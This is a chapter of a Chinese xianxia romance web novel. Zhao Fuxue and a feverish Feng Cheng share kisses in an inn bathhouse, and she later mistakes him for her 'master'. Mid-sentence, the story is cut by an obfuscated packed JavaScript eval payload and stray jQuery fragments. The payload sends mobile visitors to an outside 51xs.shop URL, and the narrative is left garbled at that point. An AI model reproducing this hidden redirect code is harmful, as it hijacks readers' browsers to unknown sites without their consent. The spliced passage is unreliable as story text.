来顺客栈乃是在洛京开了几十年的老客栈,平日里客人络绎不绝、竞相夸赞,原因自然不是它那气冲云霄的房费。
浴池很大,天字上房的浴池更大,宽敞得几乎能放几个人一同进去,赵负雪单腿支在水中,狼狈地抹了一把脸。
面上白布已被水洇透,遮挡作用已近乎于无,透过这薄薄白布,赵负雪隐隐约约看见封澄向他走来,穿着完整,并未脱衣。
封澄看起来不太清醒,赵负雪敏锐地察觉到此,心中暗道:“身上这么热,难怪要用冷水泡着——嘶?”
他抬手要摘白布,不料手刚抬起,便被一只滚烫的手抓住。
封澄靠近了。
她紧紧地抓着他的手腕,脸几乎凑在了他的鼻尖前,赵负雪感觉到封澄的鼻息扑在脸上,热热的,弄得他也跟着一起热起来。
许是因这白布的缘故,她的脸并不清晰,朦朦胧胧,昏昏沉沉。
可赵负雪却莫名觉得,封澄在盯着他。
裸漏在外面的,是喉咙,还有心口。
要害之处。
他想到了被头狼盯上的猎物,忽然觉得喉咙处有些紧。
偏偏此时,浴房中的烛火陡然熄了——想必是封澄来得匆忙,只点了个残烛,烧尽了。
浴房内一时间漆黑,唯有月色透窗而来,将将勾勒二人身影。
赵负雪的视线更昏暗了。
视觉受阻,其余四感却叫嚣着、蔓延着放大。
封澄压在他身上,身上的香气笼着他,令人避无可避,她的手慢慢地停在了赵负雪的脖颈处,滚烫。
赵负雪忽地口干舌燥起来,他垂眸,沉吟片刻,手蓦地抓住了封澄的手。
他的唇角勾起个似有似无的笑意。
月色水光落在他身上,赵负雪一只手支在浴池中,另一只手抓住封澄的手,他的身上白衣已然被水浸透,隐隐贴在他的身体上,露出些引人遐想的线条。
他的双目被白色布条蒙着,墨发披下去,发尾浸在水中,这张脸本该俊美如谪仙,可此时此刻,却像是人间饱饮凡情的妖孽。
封澄的体温极高,夏日本就衣衫轻薄,此时二人的体温更是顺着沾湿的衣物透来。
这事可不妙了,他心想。
他缓声道:“封澄。”
封澄似乎偏了偏头。
赵负雪将她的手紧了紧:“你还清醒吗?”
封澄不回答,赵负雪感觉她的视线在他身上来回梭巡,正当他疑惑封澄想要做什么时,喉咙却忽然一痛。
她咬了上来。
唇舌高热,连带着他流出的血液也跟着滚烫起来,赵负雪瞳孔骤然紧缩,他失神地仰着头,被蒙住的双目一片空白。
砰砰,砰砰。
封澄的心跳声紧紧地贴着他的心跳。
她心跳很快,几乎震得他胸口生疼。
封澄的犬齿很尖,她咬人大概是不高兴,并不是什么血修的本性。赵负雪坐在冰冷的浴池中缓过神来,咬咬牙,正要拉开封澄,她却自己松了嘴。
赵负雪微微睁大了眼睛。
忽然间,封澄凑到他喉咙的伤口上,小心翼翼地吮了一下。
在她高热且柔软的吻触上他的脖颈时,赵负雪扶在浴池边的五指霎时捏紧,一声迸裂,这浴池的边缘竟被硬生生掰下来了一小块。
“你知道自己在做什么吗?”赵负雪的喉咙已经有些哑了。
这冰冷水温并未将二人攀升的体温阻止分毫,封澄松了嘴,双手攀在赵负雪的肩上,居高临下地看着她,轻轻歪了歪头。
赵负雪的耐心很好,他的身体已经热得要命,偏生他看向封澄的目光依旧冷静。
月色铺在他谪仙似的面容上,封澄坐在他身上,静静地沉默了片刻,赵负雪隔着朦胧的白布与她对视,片刻,缓了口气,忍耐道:“我是谁?”
这一句话却好像骤然点醒了封澄一般,赵负雪感觉到她的手轻轻地落在了他的双目之上,然后毫不犹豫地,抓下了蒙在他双目上的白布。
赵负雪终于能够与封澄对视。
今夜的封澄毫无疑问是不对劲的,赵负雪借着月光,看了她那双幽深双目中的竖瞳,她危险地眯了眯眼睛,双手将他面上的白布轻柔向下拉动。
缱绻无比,如同情人之间的呢喃。
赵负雪定定地看着她,道:“你还认得我吗?”
封澄双手捧着他的脸,终于给了他今夜第一个回应。
“嗯。”
能说话了,看来是忽然清醒了,赵负雪松了一口气,心底却又说不清道不明地有些失落,他下意识地扶了扶浴池,强行逼自己从热意中解脱出来:“既然醒了,就不要……”
封澄猝然封住了他的话。
她捧着赵负雪的脸,压在他身上,高热的唇压着他的,碾上去,紧紧贴着,不待赵负雪反应,她便微微松开了唇。
这动作说不上轻柔,说不上美妙,甚至说是有些野蛮和鲁莽的。
赵负雪傻在了原地。
他下意识地摸了摸自己的唇,上面的湿意毫无疑问地昭示着方才发生的一切。
许是不满意他的愕然,封澄盯着他看了看,又吻了上去。
这个吻的触觉确凿无疑,她的唇高热又柔软,贴上来时扑来水气与封澄身上的香气,封澄对吻的理解似乎就只停在了这一步,她凑上来贴了贴,磨了磨,便失去了兴趣,又想要离开。
陡然间,赵负雪扣住了她的后脑。
他的吻带着凶横的侵略意味,仿佛撬开了一只柔软的贝一样敲开了封澄的齿关,封澄呜呜两声,挣扎起来,赵负雪却管不得这么多了,他追着柔软的贝肉,哪怕封澄几度捶打,他仍不放开。
不会接吻的人不止她一个,赵负雪想,可是情至关头,清醒些的人,总是比糊涂的人更容易沉沦。
他吻得凶狠又蛮横,仿佛要就此地老天荒,终于封澄脸酸,忍不住动了牙齿,这利齿划穿皮肉轻而易举,更何况是柔软的唇舌,二人的吻中霎时掺杂了血腥之气,
舌尖的痛觉终于将赵负雪堪堪拉回了神,他闭着眼睛,不敢去想封澄是清醒的还是糊涂的。
封澄明明可以一上来便咬,何必等到此时。
她在纵容吗?
想到这个可能的赵负雪只觉得一重一重的花火竞相放在了自己的面前,他松开封澄,又轻轻地吻了吻她——温和的轻贴,并未有半分方才的凶横。
是忐忑的试探,亦或者反客为主的邀请。
封澄轻轻喘了口气,随即攀上他的肩,毫不犹豫地回吻了过来。
赵负雪猛地睁大了眼睛,瞳孔剧烈紧缩,他不敢置信,直到封澄拙劣地模仿着他的模样,开始尝试撬开他的齿关时,赵负雪才回过神来,他放任着封澄像只好学的小兽一般肆意探索,直到她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750229|138974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吻够了,退出去,才轻轻按着她的后颈,道:“我们出去。”
浴池不够大,冷水也伤身,赵负雪并不打算在今夜做些什么——今夜太仓促太唐突,且封澄还是半清醒半糊涂的。
到这里为止,便可。
封澄乖乖地蜷在了他的怀中,任他抱了出去,她的衣物与方才分别时无二——想必是一回客栈,便毫不犹豫地跳进了浴池中。
她好像困了,蜷在他怀中打了个哈欠,赵负雪哑然失笑,轻轻地吻了吻封澄的额头。
今夜仿佛是一场幻梦,他心底被巨大的喜悦所充盈——如果世间所有的幻梦都是这般模样,他宁愿永不清醒。
没有什么事情,是与心悦之人心意相通更为重要了。赵负雪这般想着,
回赵府之后,就筹备订婚的事情。
赵负雪为封澄除去湿漉漉的外衣,然后起身出去,片刻,取回两套干净整洁的衣物。
封澄中衣也是湿的,见赵负雪动作,她勉强睁开一只困倦的眼睛,迷惑道:“……做什么?”
赵负雪已换了自己的衣物,他耐心道:“衣服湿着,不能这么睡。”
封澄有些茫然地看着他,这个表情令赵负雪有些失笑,他轻轻地凑上前去,啄吻:“你若这般睡,明日晨起要头疼了。”
屋中昏暗,封澄眨了眨眼睛,似乎不太舒服。
他起身去五斗柜前取了烛来,点上照明。
她坐在榻上,眯着眼睛看赵负雪的背影:“……是什么时候,能站起来的。”
这句话没头没脑,赵负雪还沉浸在方才的狂喜里,一时间竟没觉什么不对,只笑道:“你若不压我身上,我一直都能站起来。”
谁料封澄听到这句话,却狠狠地摇了摇头:“不对……不对。”
见封澄纠结地思考了起来,赵负雪也笑了,他轻车熟路地取出封澄带在身上的药,点起了药炉:“即便不对也留到明天去想吧,先吃药。”
那边传来细细碎碎的声音,赵负雪背对着封澄,心知她大抵是在换衣服。
片刻,药好了,赵负雪将药端出来,送到了封澄的床前,果然,她已换下了湿漉漉的中衣,穿上了干净柔软的衣服。
赵负雪一见她,心中便胀得发酸,他轻轻靠过去,二人呼吸交缠,片刻,他又轻轻地吻了过去。
封澄皱了皱眉,却未推开他。
良久,赵负雪松开她,看着封澄一勺一勺地将药喝下去。
说来也怪,封澄在他面前从未这般老实过。
在古安时,次次喂药都要搞得鸡飞狗跳。而今日却一句也不说,一句也不问,只要他端来,她便毫不犹豫地喝。
封澄喝完药,将药碗放在了榻边,赵负雪定定地看着她,眉眼含笑。
“苦不苦,”他的手心藏着蜜饯,“猜猜在哪只手里。”
封澄看向他,困惑地眨了眨眼睛。
“师尊,”她道,“我不是小孩子了。”
此言一出,四周霎时一片寂静。
赵负雪浑身的血霎时变得冰凉彻骨,他手指一松,左手蜜饯掉在地上,咕噜噜滚远了。
“……我是谁?”赵负雪强撑镇定。
“师尊。”封澄笑了笑,“右手里是不是还有?”
赵负雪清楚地听到了心头的碎裂之声,他站起身来,忽然感觉魂魄似乎都不在体内了。
她认错人了。